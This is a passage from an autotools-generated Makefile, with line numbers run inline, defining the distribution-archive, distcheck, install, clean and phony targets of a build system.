$(am__tar) | lzma -9 -c >$(distdir).tar.lzma 474 | $(am__remove_distdir) 475 | 476 | dist-xz: distdir 477 | tardir=$(distdir) && $(am__tar) | xz -c >$(distdir).tar.xz 478 | $(am__remove_distdir) 479 | 480 | dist-tarZ: distdir 481 | tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z 482 | $(am__remove_distdir) 483 | 484 | dist-shar: distdir 485 | shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz 486 | $(am__remove_distdir) 487 | 488 | dist-zip: distdir 489 | -rm -f $(distdir).zip 490 | zip -rq $(distdir).zip $(distdir) 491 | $(am__remove_distdir) 492 | 493 | dist dist-all: distdir 494 | tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz 495 | $(am__remove_distdir) 496 | 497 | # This target untars the dist file and tries a VPATH configuration. Then 498 | # it guarantees that the distribution is self-contained by making another 499 | # tarfile. 500 | distcheck: dist 501 | case '$(DIST_ARCHIVES)' in \ 502 | *.tar.gz*) \ 503 | GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\ 504 | *.tar.bz2*) \ 505 | bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\ 506 | *.tar.lzma*) \ 507 | lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\ 508 | *.tar.xz*) \ 509 | xz -dc $(distdir).tar.xz | $(am__untar) ;;\ 510 | *.tar.Z*) \ 511 | uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ 512 | *.shar.gz*) \ 513 | GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\ 514 | *.zip*) \ 515 | unzip $(distdir).zip ;;\ 516 | esac 517 | chmod -R a-w $(distdir); chmod a+w $(distdir) 518 | mkdir $(distdir)/_build 519 | mkdir $(distdir)/_inst 520 | chmod a-w $(distdir) 521 | test -d $(distdir)/_build || exit 0; \ 522 | dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \ 523 | && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \ 524 | && am__cwd=`pwd` \ 525 | && $(am__cd) $(distdir)/_build \ 526 | && ../configure --srcdir=.. --prefix="$$dc_install_base" \ 527 | $(DISTCHECK_CONFIGURE_FLAGS) \ 528 | && $(MAKE) $(AM_MAKEFLAGS) \ 529 | && $(MAKE) $(AM_MAKEFLAGS) dvi \ 530 | && $(MAKE) $(AM_MAKEFLAGS) check \ 531 | && $(MAKE) $(AM_MAKEFLAGS) install \ 532 | && $(MAKE) $(AM_MAKEFLAGS) installcheck \ 533 | && $(MAKE) $(AM_MAKEFLAGS) uninstall \ 534 | && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \ 535 | distuninstallcheck \ 536 | && chmod -R a-w "$$dc_install_base" \ 537 | && ({ \ 538 | (cd ../.. && umask 077 && mkdir "$$dc_destdir") \ 539 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \ 540 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \ 541 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \ 542 | distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \ 543 | } || { rm -rf "$$dc_destdir"; exit 1; }) \ 544 | && rm -rf "$$dc_destdir" \ 545 | && $(MAKE) $(AM_MAKEFLAGS) dist \ 546 | && rm -rf $(DIST_ARCHIVES) \ 547 | && $(MAKE) $(AM_MAKEFLAGS) distcleancheck \ 548 | && cd "$$am__cwd" \ 549 | || exit 1 550 | $(am__remove_distdir) 551 | @(echo "$(distdir) archives ready for distribution: "; \ 552 | list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \ 553 | sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x' 554 | distuninstallcheck: 555 | @$(am__cd) '$(distuninstallcheck_dir)' \ 556 | && test `$(distuninstallcheck_listfiles) | wc -l` -le 1 \ 557 | || { echo "ERROR: files left after uninstall:" ; \ 558 | if test -n "$(DESTDIR)"; then \ 559 | echo " (check DESTDIR support)"; \ 560 | fi ; \ 561 | $(distuninstallcheck_listfiles) ; \ 562 | exit 1; } >&2 563 | distcleancheck: distclean 564 | @if test '$(srcdir)' = . ; then \ 565 | echo "ERROR: distcleancheck can only run from a VPATH build" ; \ 566 | exit 1 ; \ 567 | fi 568 | @test `$(distcleancheck_listfiles) | wc -l` -eq 0 \ 569 | || { echo "ERROR: files left in build directory after distclean:" ; \ 570 | $(distcleancheck_listfiles) ; \ 571 | exit 1; } >&2 572 | check-am: all-am 573 | check: check-recursive 574 | all-am: Makefile config.h 575 | installdirs: installdirs-recursive 576 | installdirs-am: 577 | install: install-recursive 578 | install-exec: install-exec-recursive 579 | install-data: install-data-recursive 580 | uninstall: uninstall-recursive 581 | 582 | install-am: all-am 583 | @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am 584 | 585 | installcheck: installcheck-recursive 586 | install-strip: 587 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ 588 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ 589 | `test -z '$(STRIP)' || \ 590 | echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install 591 | mostlyclean-generic: 592 | 593 | clean-generic: 594 | 595 | distclean-generic: 596 | -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) 597 | -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) 598 | 599 | maintainer-clean-generic: 600 | @echo "This command is intended for maintainers to use" 601 | @echo "it deletes files that may require special tools to rebuild." 602 | clean: clean-recursive 603 | 604 | clean-am: clean-generic mostlyclean-am 605 | 606 | distclean: distclean-recursive 607 | -rm -f $(am__CONFIG_DISTCLEAN_FILES) 608 | -rm -f Makefile 609 | distclean-am: clean-am distclean-generic distclean-hdr distclean-tags 610 | 611 | dvi: dvi-recursive 612 | 613 | dvi-am: 614 | 615 | html: html-recursive 616 | 617 | html-am: 618 | 619 | info: info-recursive 620 | 621 | info-am: 622 | 623 | install-data-am: 624 | 625 | install-dvi: install-dvi-recursive 626 | 627 | install-dvi-am: 628 | 629 | install-exec-am: 630 | 631 | install-html: install-html-recursive 632 | 633 | install-html-am: 634 | 635 | install-info: install-info-recursive 636 | 637 | install-info-am: 638 | 639 | install-man: 640 | 641 | install-pdf: install-pdf-recursive 642 | 643 | install-pdf-am: 644 | 645 | install-ps: install-ps-recursive 646 | 647 | install-ps-am: 648 | 649 | installcheck-am: 650 | 651 | maintainer-clean: maintainer-clean-recursive 652 | -rm -f $(am__CONFIG_DISTCLEAN_FILES) 653 | -rm -rf $(top_srcdir)/autom4te.cache 654 | -rm -f Makefile 655 | maintainer-clean-am: distclean-am maintainer-clean-generic 656 | 657 | mostlyclean: mostlyclean-recursive 658 | 659 | mostlyclean-am: mostlyclean-generic 660 | 661 | pdf: pdf-recursive 662 | 663 | pdf-am: 664 | 665 | ps: ps-recursive 666 | 667 | ps-am: 668 | 669 | uninstall-am: 670 | 671 | .MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) all \ 672 | ctags-recursive install-am install-strip tags-recursive 673 | 674 | .PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \ 675 | all all-am am--refresh check check-am clean clean-generic \ 676 | ctags ctags-recursive dist dist-all dist-bzip2 dist-gzip \ 677 | dist-lzma dist-shar dist-tarZ dist-xz dist-zip distcheck \ 678 | distclean distclean-generic distclean-hdr distclean-tags \ 679 | distcleancheck distdir distuninstallcheck dvi dvi-am html \ 680 | html-am info info-am install install-am install-data \ 681 | install-data-am install-dvi install-dvi-am install-exec \ 682 | install-exec-am install-html install-html-am install-info \ 683 | install-info-am install-man install-pdf install-pdf-am \ 684 | install-ps install-ps-am install-strip installcheck \ 685 | installcheck-am installdirs installdirs-am maintainer-clean \ 686 | maintainer-clean-generic mostlyclean mostlyclean-generic pdf \ 687 | pdf-am ps ps-am tags tags-recursive uninstall uninstall-am 688 | 689 | 690 | # Tell versions [3.59,3.63) of GNU make to not export all variables. 691 | # Otherwise a system limit (for SysV at least) may be exceeded. 692 | .NOEXPORT: 693 | --------------------------------------------------------------------------------